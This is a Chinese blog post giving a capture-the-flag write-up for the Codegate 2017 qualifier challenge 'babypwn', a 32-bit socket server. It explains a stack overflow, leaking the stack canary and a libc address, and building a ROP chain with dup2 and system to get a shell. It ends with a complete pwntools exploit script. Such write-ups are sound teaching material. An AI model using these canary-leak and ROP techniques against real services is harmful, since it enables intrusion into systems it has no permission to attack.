Chybeta

Codegate 2017 Qual-babypwn-writeup

Codegate 2017 Qual-babypwn-writeup

分析

基本功能

题目提供了一个32位的程序。参数传递用栈来进行。用gdb载入后看一下保护措施,如下:

1
2
3
4
5
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

用IDA打开进行分析。文件实现了一个socket服务。其真正的服务函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int sub_8048A71()
{
int v1; // [sp+1Ch] [bp-3Ch]@2
char v2; // [sp+24h] [bp-34h]@1
int v3; // [sp+4Ch] [bp-Ch]@1
v3 = *MK_FP(__GS__, 20);
memset(&v2, 0, 0x28u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_80488B1("\n===============================\n");
sub_80488B1("1. Echo\n");
sub_80488B1("2. Reverse Echo\n");
sub_80488B1("3. Exit\n");
sub_80488B1("===============================\n");
v1 = sub_804895A();
if ( v1 != 1 )
break;
sub_80488B1("Input Your Message : ");
sub_8048907(&v2, 0x64u);
sub_80488B1(&v2);
}
if ( v1 != 2 )
break;
sub_80488B1("Input Your Message : ");
sub_8048907(&v2, 0x64u);
sub_80489C8(&v2);
sub_80488B1(&v2);
}
if ( v1 == 3 )
break;
sub_80488B1("\n[!] Wrong Input\n");
}
return *MK_FP(__GS__, 20) ^ v3;
}

整体上看,实现了三个功能,第一个是读入(sub_8048907)输入的数据并输出来(sub_8048907)。第二个功能是Reverse Echo,好像没啥用。第三个功能是退出。

在Echo功能的sub_8048907(&v2, 0x64u);中:

1
2
3
4
5
6
7
8
9
10
11
ssize_t __cdecl sub_8048907(void *a1, size_t a2)
{
int v2; // ST2C_4@1
ssize_t result; // eax@1
int v4; // ecx@1
v2 = *MK_FP(__GS__, 20);
result = recv(fd, a1, a2, 0);
v4 = *MK_FP(__GS__, 20) ^ v2;
return result;
}

将读入的字符通过recv()函数拷贝到数组v2中,读入的字符长度可以达到0x64即100个字节。而数组v2所在的位置为 bp-34h ,0x34 = 52。所以很明显这里存在栈溢出。但因为开了Canary保护,因此如果要利用栈溢出,就需要泄露Canary值或者其他技术。

接下去看输出函数sub_80488B1(&v2);中:

1
2
3
4
5
6
7
8
9
10
11
12
13
ssize_t __cdecl sub_80488B1(const char *a1)
{
int v1; // ST2C_4@1
size_t v2; // eax@1
ssize_t result; // eax@1
int v4; // ecx@1
v1 = *MK_FP(__GS__, 20);
v2 = strlen(a1);
result = send(fd, a1, v2, 0);
v4 = *MK_FP(__GS__, 20) ^ v1;
return result;
}

将数组v2的内容发送出去,发送数据的长度由strlen()指定。

泄露canary

接下来我们考虑如何泄露Canary值。Canary值的第一个字节总是\x00,加上是小端序。数组v2在一开始通过memset(&v2, 0, 0x28u);进行初始化。所以结合两者情况,栈的分布约莫下;

1
'\x00' * 0x28 + ? + ? + ? + `\x00`

当我们输入的字符个数少于0x28时,比如aaa,则v2中的第四个字符是\x00,则strlen(v2)就为3。如下:

1
'a' * 3 + '\x00' * 0x25 + ? + ? + ? + `\x00`

最后返回输出为字符串“aaa”。

但若我们输入的字符个数等于0x28时,由于后面的数据是canary值。此时:

1
2
'a' * 0x28 + ? + ? + ? + `\x00`
`

对于数组v2而言,canary的第一个字节\x00成了它的结束标志。在strlen时会把canary值得长度加上,在最后返回输出时将canary的值打印出来。从而完成对canary的泄露。

泄露出canary后就该考虑如何进行栈溢出利用。程序中提供了system函数。但若要getshell,我们还需要/bin/sh字符串,及其他一些操作。

泄露libc

为得到/bin/sh字符串的地址,我们可以去泄露出libc版本。
考虑到有send(fd, a1, v2, 0)函数,我们只要让fd为4(默认值),a1为libc库函数的got地址,设置v2为4,第四个为0,就能够将libc库函数的地址打印出来。通过泄露几个libc库函数的地址就能得到libc版本,并利用偏移计算出/bin/sh字符串的地址。

假如我要泄露setsockopt函数的地址。可以构造payload如下:

1
2
3
4
5
6
7
8
9
10
payload = 'A' * 0x28
payload += p32(canary_value)
payload += 'A' * 8 # reach 0x28 + 4 + 8 = 52
payload += 'A' * 4 # reach ret
payload += p32(send_sym_addr)
payload += p32(vuln_func_addr)
payload += p32(4)
payload += p32(setsockopt_got_addr)
payload += p32(4)
payload += p32(0)

其中注意第二行使用了前面得到的canary值。然后我们加上了12个a,这样才能将返回地址覆盖为send_sym_addr的地址。根据32位程序的栈布局,接下来是send()函数调用完后的返回地址,为进一步利用,这里选择回到有漏洞的服务(8048A71)处。再接下来依次是send函数的四个参数。

在发送完payload后,我们还需要在程序选项中输入一次3,选择功能3. Exit\n,这样程序才能执行到ret,即被我们覆写了的返回地址。所以需要发送第二段payload:

1
2
3
r.recvuntil("Select menu > ")
payload = '3'
r.sendline(payload)

getshell

在成功获得libc版本后,现在已经有了system函数,和/bin/sh字符串,但还不能获得shell。因为程序本身是一个socket服务器,所以它的默认文件描述符不是标准输入输出流0或1,而是4,这也是前面调用send函数时第一个参数为4的原因。我们可以使用dup2函数来复制文件描述符,重定向输入输出流。

dup2函数的原型如下:

1
int dup2(int oldfd,int newfd);

所以对应的,在getshell之前,我们要把原本的文件描述符重定向到标准输入输出流。对应payload为:

1
2
3
4
5
6
7
8
9
10
11
12
payload = 'A' * 0x28
payload += p32(canary_value)
payload += 'A' * 8 # reach 0x28 + 4 + 8 = 52
payload += 'A' * 4 # reach ret
payload += p32(dup2_libc_addr)
payload += p32(pop_pop_ret_addr)
payload += p32(4)
payload += p32(0)
payload += p32(dup2_libc_addr)
payload += p32(pop_pop_ret_addr)
payload += p32(4)
payload += p32(1)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
from pwn import *
r = remote('127.0.0.1','8181')
libc = ELF("./libc.so.6")
elf = ELF("./babypwn")
sh_loclibc_addr = next(libc.search("sh\x00"))
setsockopt_loclibc_addr = libc.symbols['setsockopt']
dup2_loclibc_addr = libc.symbols['dup2']
pop_ret_addr = 0x08048b85
pop_pop_ret_addr = 0x08048b84
vuln_func_addr = 0x8048A71
system_sym_addr = elf.symbols["system"]
send_sym_addr = elf.symbols['send']
setsockopt_got_addr = elf.got['setsockopt']
offset_sh_setsockopt = sh_loclibc_addr - setsockopt_loclibc_addr
offset_dup2_setsockopt = dup2_loclibc_addr - setsockopt_loclibc_addr
log.success("system symbols address is : " + hex(system_sym_addr))
log.success("send address is : " + hex(send_sym_addr))
log.info("First Stage : Leak canary value.\n")
r.recvuntil("Select menu > ")
payload = "1"
r.sendline(payload)
r.recvuntil("Input Your Message : ")
payload = 'b' * 0x28
r.sendline(payload)
canary_value = u32('\x00' + r.recv()[0x29:0x2c])
log.info("Canary : %s " % hex(canary_value))
r.recvuntil("Select menu > ")
payload = "1"
r.sendline(payload)
r.recvuntil("Input Your Message : ")
payload = 'A' * 0x28
payload += p32(canary_value)
payload += 'A' * 8 # reach 0x28 + 4 + 8 = 52
payload += 'A' * 4 # reach ret
payload += p32(send_sym_addr)
payload += p32(vuln_func_addr)
payload += p32(4)
payload += p32(setsockopt_got_addr)
payload += p32(4)
payload += p32(0)
r.sendline(payload)
r.recvuntil("Select menu > ")
payload = '3'
r.sendline(payload)
setsockopt_libc_addr = u32(r.recv(4))
log.success("setsockopt libc addr is : " + hex(setsockopt_libc_addr))
sh_libc_addr = offset_sh_setsockopt + setsockopt_libc_addr
dup2_libc_addr = offset_dup2_setsockopt + setsockopt_libc_addr
r.recvuntil("Select menu > ")
payload = "1"
r.sendline(payload)
r.recvuntil("Input Your Message : ")
payload = 'A' * 0x28
payload += p32(canary_value)
payload += 'A' * 8 # reach 0x28 + 4 + 8 = 52
payload += 'A' * 4 # reach ret
payload += p32(dup2_libc_addr)
payload += p32(pop_pop_ret_addr)
payload += p32(4)
payload += p32(0)
payload += p32(dup2_libc_addr)
payload += p32(pop_pop_ret_addr)
payload += p32(4)
payload += p32(1)
payload += p32(system_sym_addr)
payload += p32(0)
payload += p32(sh_libc_addr)
r.sendline(payload)
r.recvuntil("Select menu > ")
payload = '3'
r.sendline(payload)
r.recv()
r.interactive()

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:Codegate 2017 Qual-babypwn-writeup

文章作者:chybeta

发布时间:2017年08月12日 - 21:08

最后更新:2017年08月12日 - 23:08

原始链接:http://chybeta.github.io/2017/08/12/Codegate-2017-Qual-babypwn-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。